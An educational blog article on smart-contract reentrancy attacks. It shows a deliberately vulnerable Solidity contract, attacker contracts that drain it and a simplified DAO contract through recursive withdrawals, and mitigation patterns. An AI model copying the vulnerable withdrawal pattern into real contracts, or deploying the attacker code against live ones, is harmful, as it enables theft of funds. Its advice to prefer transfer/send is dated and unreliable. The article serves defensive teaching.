Deep Dive into Reentrancy Attacks

Reentrancy attacks have become one of the most exploited vulnerabilities in web3. These attacks exploit the recursive calling mechanisms in smart contracts thus aiding bad actors to repeatedly withdraw funds before the initial transaction is completed.

In this article, we will explore reentrancy attacks, the technical mechanisms behind them, their lead causes, and the best practices to avoid them to ensure the security of blockchain applications.

Understanding Reentrancy Attacks

Reentrancy attacks happen when a smart contract makes an external call to another contract before updating its state. This vulnerability exploits the call stack and allows the malicious contract to call back into the original contract before the initial execution is complete.

A simple analogy of this attack is to imagine you have a bank account with just $100 and you ask a bank teller to withdraw $100 for you. Before the teller can update your balance to 0, you quickly ask for another $100 using a loophole. If the teller doesn't update the balance immediately, you can keep withdrawing more money than you have, leading to a significant loss to the bank.

Common Vulnerabilities in Smart Contracts Leading to Reentrancy

  • Unprotected External Calls: Contracts that make external calls without updating their state first.

  • Fallback Functions: Contracts that rely on external calls that can trigger fallback functions without adequate checks.

  • Lack of Checks-Effects-Interactions Pattern: Failing to follow the best practice of updating state (effects) before making external calls (interactions).

Code Walkthrough of a Reentrancy Attack

To properly understand how a reentrancy attack works, let’s look at a minimized example from sc-exploit.


contract ReentrancyVictim {
    mapping(address => uint256) public userBalance;
    function deposit() public payable {
        userBalance[msg.sender] += msg.value;
    }
    function withdrawBalance() public {
        uint256 balance = userBalance[msg.sender];
        // An external call and then a state change!
        // External call
        (bool success,) = msg.sender.call{value: balance}("");
        if (!success) {
            revert();
        }
        // State change
        userBalance[msg.sender] = 0;
    }
}

The code above is a contract that allows a user to deposit any amount and be able to withdraw this amount later. It makes an external call before updating its state making it susceptible to reentrancy attacks.

An attacker can exploit this by creating a contract to deposit into this contract and continually call the withdrawBalance function until the contract above is fully drained.


contract ReentrancyAttacker {
    ReentrancyVictim victim;
    constructor(ReentrancyVictim _victim) {
        victim = _victim;
    }
    function attack() public payable {
        victim.deposit{value: 1 ether}();
        victim.withdrawBalance();
    }
    receive() external payable {
        if (address(victim).balance >= 1 ether) {
            victim.withdrawBalance();
        }
    }
}

The code above is a contract that is designed to exploit the reentrancy vulnerability in the ReentrancyVictim contract. When an instance of this attacker contract is created, it is initialized with a reference to the vulnerable ReentrancyVictim contract.

The attack function, which is callable by any user, begins by depositing 1 Ether into the ReentrancyVictim contract, leveraging the deposit function of the victim. Immediately after the deposit, it initiates a withdrawal using the withdrawBalance function of the ReentrancyVictim.

The core of the reentrancy attack is implemented in the receive function of the ReentrancyAttacker contract, which is a special fallback function that is triggered whenever the contract receives Ether. This function checks if the balance of the ReentrancyVictim contract is at least 1 Ether. If this condition is met, it calls the withdrawBalance function of the ReentrancyVictim contract again.

This recursive call mechanism exploits the reentrancy vulnerability, allowing the attacker contract to repeatedly withdraw funds before the ReentrancyVictim contract can update the attacker's balance to zero. Consequently, the attacker can drain significant funds from the ReentrancyVictim contract through repeated withdrawals.

Real-Life Exploits: The DAO Hack(2016)

The DAO (Decentralized Autonomous Organization) was an Ethereum-based smart contract that acted as a venture capital fund, enabling investors to pool their Ether (ETH) and vote on project proposals. In June 2016, an attacker exploited a reentrancy vulnerability in the contract, draining approximately 3.6 million ETH (worth around $60 million at the time).

Step-by-Step Breakdown of the Hack with Code

  • Smart Contract Vulnerability:

    The DAO’s smart contract had a splitDAO function that allowed users to withdraw their funds if they wanted to exit the DAO. The vulnerability was that the contract transferred ETH to the user before updating the user’s balance.

    The code below is part of the DAO contract that was vulnerable to reentrancy attacks.

      function splitDAO(uint withdrawAmount) public {
         // 1. Send Ether to the user
         msg.sender.call.value(withdrawAmount)();
    
         // 2. Update the user's balance
         balances[msg.sender] -= withdrawAmount;
      }
    

    The msg.sender.call.value(withdrawAmount)() sends ETH to the user, but the state (balance) is updated only after this transfer.

Reentrancy Attack Setup

  • The attacker deployed a malicious contract that would exploit this vulnerability. The malicious contract overrides the fallback function to re-enter the splitDAO function before the previous call completes.

    
      contract Attacker {
         address daoAddress;
    
         // Set DAO address
         constructor(address _daoAddress) {
             daoAddress = _daoAddress;
         }
    
         // Fallback function: triggered when Ether is sent to this contract
         function () external payable {
             if (address(daoAddress).balance >= 1 ether) {
                 daoAddress.call(abi.encodeWithSignature("splitDAO(uint256)", 1 ether));
             }
         }
    
         // Initiates the attack
         function attack() public {
             daoAddress.call(abi.encodeWithSignature("splitDAO(uint256)", 1 ether));
         }
      }
    
  • First Withdrawal:

    • The attacker called the attack() function on their malicious contract.

    • This triggered the splitDAO function on The DAO contract.

    • The DAO contract sent 1 ETH to the attacker’s contract.

  • Fallback Function and Reentrancy:

    • Instead of terminating, the fallback function in the attacker’s contract re-entered the splitDAO function, initiating another withdrawal before the balance was updated in The DAO contract.

    • This allowed the attacker to withdraw additional ETH without the balance being deducted.

  • Repeating the Process:

    • The attacker's contract repeatedly re-entered the splitDAO function in a loop.

    • Each reentrant call allowed the attacker to withdraw more ETH using the same balance.

  • Completion:

    • The attacker drained a significant amount of ETH from The DAO by exploiting the reentrancy vulnerability.

Etherscan Links

To mitigate the damage and restore the stolen funds, the Ethereum community decided to implement a hard fork. This controversial decision led to the creation of two separate blockchains: Ethereum (ETH), which implemented the fork, and Ethereum Classic (ETC), which continued on the original blockchain.

The DAO hack remains a pivotal event in blockchain history, serving as a stark reminder of the importance of security in decentralized systems and driving the community towards more robust and secure practices.

You can find other notable reentrancy hacks here.

Measures to Avoid Reentrancy Attacks

Some best practices for writing smart contracts to prevent these attacks include:

  1. Use ReentrancyGuard Modifier:

    Implement the ReentrancyGuard from OpenZeppelin, which prevents reentrant calls by locking the function during execution.

     import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
    
     contract SafeContract is ReentrancyGuard {
         function safeWithdraw(uint amount) public nonReentrant {
             // Function logic
         }
     }
    
  2. Avoid Using call for Transfers:

    Prefer using transfer or send for sending Ether, as these methods automatically limit gas, preventing reentrancy.

     msg.sender.transfer(amount);
    
  3. Limit External Calls:

    Minimize the use of external calls, particularly to untrusted contracts, and avoid exposing internal logic to external interactions.

  4. Use Pull Over Push Mechanism:

    Implement a pull payment pattern, where users explicitly request a withdrawal rather than the contract automatically pushing payments.

     function withdraw() public {
         uint payment = payments[msg.sender];
         payments[msg.sender] = 0;
         msg.sender.transfer(payment);
     }
    
  5. Check-Effects-Interactions Pattern:

    State changes should be done before making any external calls to other contracts or addresses. This prevents reentrancy attacks, as the external call cannot re-enter the contract and manipulate the state.

     function safeWithdraw(uint amount) public {
         balances[msg.sender] -= amount;
         msg.sender.transfer(amount);
     }
    
  6. Leverage tools and libraries to detect vulnerabilities: Some tools and libraries to detect vulnerabilities in smart contracts include:

Tools and Libraries to Detect Vulnerabilities

These tools and libraries help in identifying potential vulnerabilities during the development and auditing phases of smart contracts.

Conclusion

Reentrancy attacks pose a significant threat to the security of blockchain applications, exploiting recursive calling mechanisms to drain funds from vulnerable smart contracts. This article has delved into the intricacies of reentrancy attacks, illustrated their real-world impact through notable examples like The DAO hack, and highlighted common vulnerabilities that lead to such exploits. To mitigate these risks, adopting best practices such as updating the state before making external calls, using built-in functions with caution, and implementing the checks-effects-interactions pattern is crucial.

Additionally, utilizing tools like Mythril, Oyente, and Slither to detect vulnerabilities can further enhance the security of smart contracts. By adhering to these guidelines, developers can fortify their blockchain applications against reentrancy attacks and contribute to a safer decentralized ecosystem.

0
Subscribe to my newsletter

Read articles from Onu Daniel Onyebuchi directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Onu Daniel Onyebuchi
Onu Daniel Onyebuchi